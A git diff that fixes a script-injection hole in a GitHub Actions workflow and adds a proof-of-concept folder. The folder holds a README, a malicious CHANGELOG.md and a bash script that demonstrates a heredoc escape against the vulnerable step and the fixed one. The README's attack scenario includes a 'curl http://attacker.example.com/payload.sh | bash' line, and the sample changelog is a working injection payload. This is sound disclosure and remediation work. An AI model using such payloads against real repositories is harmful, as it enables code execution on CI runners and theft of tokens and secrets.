diff --git a/.github/workflows/sanitize.yml b/.github/workflows/sanitize.yml index ee4196b5..954475ba 100644 --- a/.github/workflows/sanitize.yml +++ b/.github/workflows/sanitize.yml @@ -54,10 +54,12 @@ jobs: validation_depth: 10 path: ${{ matrix.path }}/CHANGELOG.md - name: Information + env: + CL_VERSION: ${{ steps.changelog_reader.outputs.version }} + CL_STATUS: ${{ steps.changelog_reader.outputs.status }} + CL_CHANGES: ${{ steps.changelog_reader.outputs.changes }} run: | - echo -e "\e[1mVersion\e[0m ${{ steps.changelog_reader.outputs.version }}" - echo -e "\e[1mStatus\e[0m ${{ steps.changelog_reader.outputs.status }}" - echo -en "\e[1mBody\e[0m" - cat << 'EOF' - ${{ steps.changelog_reader.outputs.changes }} - EOF + echo -e "\e[1mVersion\e[0m ${CL_VERSION}" + echo -e "\e[1mStatus\e[0m ${CL_STATUS}" + echo -en "\e[1mBody\e[0m " + echo "${CL_CHANGES}" diff --git a/poc/README.md b/poc/README.md new file mode 100644 index 00000000..e14632a5 --- /dev/null +++ b/poc/README.md @@ -0,0 +1,110 @@ +# POC: GitHub Actions Script Injection in sanitize.yml + +## Vulnerability + +The `changelog-format` job in `.github/workflows/sanitize.yml` contained a +**script injection** vulnerability that allowed **Remote Code Execution (RCE)** +on the GitHub Actions runner when processing a Pull Request. + +### Root Cause + +The workflow used `${{ steps.changelog_reader.outputs.changes }}` directly +inside a shell `run:` block within a `cat << 'EOF'` heredoc. GitHub Actions +expands `${{ }}` expressions **before** the shell script is executed — the +expression content is literally pasted into the script text. + +An attacker could craft a `CHANGELOG.md` with a body containing the heredoc +terminator (`EOF` on its own line) followed by arbitrary shell commands. When +the workflow ran, the heredoc would close early and the injected commands +would execute. + +### Original Vulnerable Code + +```yaml + - name: Information + run: | + echo -e "\e[1mVersion\e[0m ${{ steps.changelog_reader.outputs.version }}" + echo -e "\e[1mStatus\e[0m ${{ steps.changelog_reader.outputs.status }}" + echo -en "\e[1mBody\e[0m" + cat << 'EOF' + ${{ steps.changelog_reader.outputs.changes }} + EOF +``` + +### Attack Scenario + +1. Attacker forks the repository +2. Modifies `mla/CHANGELOG.md` or `mlar/CHANGELOG.md` to add a new entry: + + ```markdown + ## [99.0.0] - 2026-03-31 + + ### Added + + - Legitimate looking feature + EOF + curl http://attacker.example.com/payload.sh | bash + cat << 'EOF' + - Another feature + ``` + +3. Opens a Pull Request +4. The `sanitize.yml` workflow triggers on `pull_request` +5. `actions/checkout` checks out the attacker's PR code +6. `changelog-reader-action` parses the malicious CHANGELOG and outputs the body +7. The `Information` step expands the `changes` output into the script +8. The `EOF` line terminates the heredoc early +9. The `curl ... | bash` line executes as a shell command — **RCE achieved** + +### Impact + +- Arbitrary code execution on the GitHub Actions runner +- Access to the `GITHUB_TOKEN` (with `contents:read` permission) +- Potential exfiltration of repository secrets or source code +- Triggered by simply opening a PR (no maintainer approval needed) + +### Fix + +Move `${{ }}` expressions from `run:` block to `env:` block: + +```yaml + - name: Information + env: + CL_VERSION: ${{ steps.changelog_reader.outputs.version }} + CL_STATUS: ${{ steps.changelog_reader.outputs.status }} + CL_CHANGES: ${{ steps.changelog_reader.outputs.changes }} + run: | + echo -e "\e[1mVersion\e[0m ${CL_VERSION}" + echo -e "\e[1mStatus\e[0m ${CL_STATUS}" + echo -en "\e[1mBody\e[0m " + echo "${CL_CHANGES}" +``` + +When set via `env:`, values are passed as environment variables that the shell +treats as **data**, not **code**. The malicious content is safely echoed as +plain text. + +### Exploitability Analysis + +| Output field | Content source | Exploitable? | Reason | +|---|---|---|---| +| `version` | Parsed via `/[a-zA-Z0-9.\-+]+/` regex | No | Only safe characters allowed | +| `status` | Computed from fixed strings | No | One of: released, unreleased, prereleased, yanked | +| `changes` | Arbitrary multi-line markdown body | **Yes** | Heredoc escape via `EOF` line | + +### Running the POC + +```bash +chmod +x poc/poc.sh +./poc/poc.sh +``` + +The script simulates both the vulnerable and fixed workflow steps, demonstrating: +- **Vulnerable**: Creates a file via injected command (RCE confirmed) +- **Fixed**: Renders payload as harmless plain text (no RCE) + +### Files + +- `poc.sh` — Self-contained POC script +- `malicious_changelog.md` — Example malicious CHANGELOG.md +- `README.md` — This file diff --git a/poc/malicious_changelog.md b/poc/malicious_changelog.md new file mode 100644 index 00000000..96294cb8 --- /dev/null +++ b/poc/malicious_changelog.md @@ -0,0 +1,22 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [99.0.0] - 2026-03-31 + +### Added + +- Totally legitimate looking feature +EOF +echo "RCE_MARKER: Command execution achieved - $(id)" > /tmp/poc_sanitize_rce/pwned.txt +cat << 'EOF' +- Another legitimate looking feature + +## [2.0.0] - 2026-02-16 + +### Added/Changed since 1.3.0 + +- MLA2 is now the default diff --git a/poc/poc.sh b/poc/poc.sh new file mode 100755 index 00000000..fb5ca9d2 --- /dev/null +++ b/poc/poc.sh @@ -0,0 +1,215 @@ +#!/bin/bash +# POC: GitHub Actions Script Injection via CHANGELOG.md heredoc escape +# +# This script demonstrates a script injection vulnerability in +# .github/workflows/sanitize.yml (before fix). +# +# VULNERABILITY SUMMARY: +# The changelog-format job in sanitize.yml reads CHANGELOG.md using +# mindsers/changelog-reader-action and directly interpolates the multi-line +# `changes` output into a shell `run:` block via: +# ${{ steps.changelog_reader.outputs.changes }} +# +# Because the workflow triggers on `pull_request`, an attacker can craft a +# CHANGELOG.md in their PR that escapes the heredoc delimiter and executes +# arbitrary shell commands on the GitHub Actions runner. +# +# ATTACK CHAIN: +# 1. Attacker forks the repo +# 2. Modifies mla/CHANGELOG.md (or mlar/CHANGELOG.md) with a payload +# (see malicious_changelog.md for example) +# 3. Opens a PR -> triggers `pull_request` event on sanitize.yml +# 4. actions/checkout checks out the attacker's PR code +# 5. changelog-reader-action parses the malicious CHANGELOG.md +# 6. The `changes` output contains a heredoc escape sequence +# 7. The Information step's run: block receives injected shell commands +# 8. Arbitrary code executes on the GitHub runner (with contents:read permissions) +# +# USAGE: +# ./poc.sh +# +# EXPECTED OUTPUT: +# - The VULNERABLE version creates /tmp/poc_sanitize_rce/pwned.txt (RCE) +# - The FIXED version treats the payload as plain text (no RCE) + +set -euo pipefail + +POC_DIR="/tmp/poc_sanitize_rce" +mkdir -p "$POC_DIR" + +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BOLD='\033[1m' +NC='\033[0m' + +echo "" +echo "============================================================" +echo -e "${BOLD}POC: GitHub Actions Script Injection in sanitize.yml${NC}" +echo "============================================================" +echo "" + +# --------------------------------------------------------------- +# Simulate changelog-reader-action's parsing of a malicious CHANGELOG. +# +# The action (src/parse-entry.js) extracts: +# - version: from header via /[a-zA-Z0-9.\-+]+/ (safe chars only) +# - status: computed as released/unreleased/prereleased/yanked +# - changes: the multi-line body text (arbitrary content!) +# +# The `changes` output is set verbatim via core.setOutput('changes', entry.text) +# with newlines preserved. No sanitization is applied. +# --------------------------------------------------------------- + +# This simulates what changelog-reader-action would output for the +# `changes` field when parsing a malicious CHANGELOG.md entry. +# The payload contains: +# 1. A line that is just "EOF" to terminate the cat heredoc +# 2. A shell command (harmless id > file for demonstration) +# 3. A new "cat << 'EOF'" to consume the remaining heredoc delimiter +SIMULATED_CHANGES=$(cat << 'PARSEEOF' + +### Added + +- Totally legitimate looking feature +EOF +echo "RCE_MARKER: Command execution achieved - $(id)" > /tmp/poc_sanitize_rce/pwned.txt +cat << 'EOF' +- Another legitimate looking feature +PARSEEOF +) + +SIMULATED_VERSION="99.0.0" +SIMULATED_STATUS="released" + +echo -e "${BOLD}1. Simulated changelog-reader-action outputs:${NC}" +echo " version = $SIMULATED_VERSION" +echo " status = $SIMULATED_STATUS" +echo " changes = (multi-line, contains heredoc escape payload)" +echo "" + +# --------------------------------------------------------------- +# VULNERABLE VERSION (original sanitize.yml before fix) +# --------------------------------------------------------------- +echo "============================================================" +echo -e "${RED}${BOLD}2. VULNERABLE VERSION (original sanitize.yml)${NC}" +echo "============================================================" +echo "" +echo "The original workflow step used direct \${{ }} interpolation" +echo "in the shell run: block:" +echo "" +echo ' cat << '"'"'EOF'"'" +echo ' ${{ steps.changelog_reader.outputs.changes }}' +echo ' EOF' +echo "" +echo -e "${YELLOW}GitHub Actions expands \${{ }} BEFORE the shell runs.${NC}" +echo -e "${YELLOW}The attacker's 'EOF' line terminates the heredoc early,${NC}" +echo -e "${YELLOW}and subsequent lines execute as shell commands.${NC}" +echo "" + +# Build the script exactly as GitHub Actions would after expression expansion +VULN_SCRIPT=$(cat << SCRIPTEOF +echo -e "\e[1mVersion\e[0m ${SIMULATED_VERSION}" +echo -e "\e[1mStatus\e[0m ${SIMULATED_STATUS}" +echo -en "\e[1mBody\e[0m" +cat << 'EOF' +${SIMULATED_CHANGES} +EOF +SCRIPTEOF +) + +echo "--- expanded script (what the shell receives) ---" +echo "$VULN_SCRIPT" +echo "--- end ---" +echo "" + +rm -f "$POC_DIR/pwned.txt" + +echo -e "${BOLD}Executing...${NC}" +echo "" +bash -c "$VULN_SCRIPT" 2>&1 || true +echo "" + +if [ -f "$POC_DIR/pwned.txt" ]; then + echo -e "${RED}${BOLD}[!] RCE CONFIRMED - $POC_DIR/pwned.txt created:${NC}" + echo -e "${RED} $(cat "$POC_DIR/pwned.txt")${NC}" + echo "" + echo -e "${RED} VERDICT: TRUE POSITIVE — the vulnerability is real.${NC}" +else + echo -e "${GREEN}[✓] No RCE detected${NC}" +fi +echo "" + +# --------------------------------------------------------------- +# FIXED VERSION (patched sanitize.yml) +# --------------------------------------------------------------- +echo "============================================================" +echo -e "${GREEN}${BOLD}3. FIXED VERSION (patched sanitize.yml)${NC}" +echo "============================================================" +echo "" +echo "The fix moves values to env: block, referencing as shell vars:" +echo "" +echo ' env:' +echo ' CL_CHANGES: ${{ steps.changelog_reader.outputs.changes }}' +echo ' run: |' +echo ' echo "${CL_CHANGES}"' +echo "" +echo -e "${YELLOW}Environment variables are passed as DATA, not CODE.${NC}" +echo "" + +rm -f "$POC_DIR/pwned.txt" + +export CL_VERSION="$SIMULATED_VERSION" +export CL_STATUS="$SIMULATED_STATUS" +export CL_CHANGES="$SIMULATED_CHANGES" + +echo -e "${BOLD}Executing...${NC}" +echo "" +bash -c ' +echo -e "\e[1mVersion\e[0m ${CL_VERSION}" +echo -e "\e[1mStatus\e[0m ${CL_STATUS}" +echo -en "\e[1mBody\e[0m " +echo "${CL_CHANGES}" +' 2>&1 || true +echo "" + +if [ -f "$POC_DIR/pwned.txt" ]; then + echo -e "${RED}[!] RCE detected even after fix!${NC}" + FIXED=false +else + echo -e "${GREEN}${BOLD}[✓] No RCE — payload treated as plain text. Fix works.${NC}" + FIXED=true +fi +echo "" + +# --------------------------------------------------------------- +# Summary +# --------------------------------------------------------------- +echo "============================================================" +echo -e "${BOLD}SUMMARY${NC}" +echo "============================================================" +echo "" +echo "File: .github/workflows/sanitize.yml" +echo "Job: changelog-format" +echo "Step: Information" +echo "Trigger: pull_request (runs on ANY PR, including from forks)" +echo "" +echo "Vector: An attacker modifies CHANGELOG.md in a PR to include" +echo " a heredoc escape (a line containing just 'EOF') followed" +echo " by arbitrary shell commands." +echo "" +echo "Impact: Arbitrary code execution on the GitHub Actions runner" +echo " with the workflow's permissions (contents:read)." +echo " Could exfiltrate source code, secrets, or GITHUB_TOKEN." +echo "" +echo "Fix: Move \${{ }} expressions from run: to env: block." +echo " Environment variables are safely passed as data." +echo "" +echo "Analysis of changelog-reader-action v2.2.3 outputs:" +echo " version: /[a-zA-Z0-9.\\-+]+/ regex — safe chars only, NOT exploitable" +echo " status: fixed strings — NOT exploitable" +echo " changes: arbitrary multi-line text — EXPLOITABLE via heredoc escape" +echo "" + +# Cleanup +rm -rf "$POC_DIR"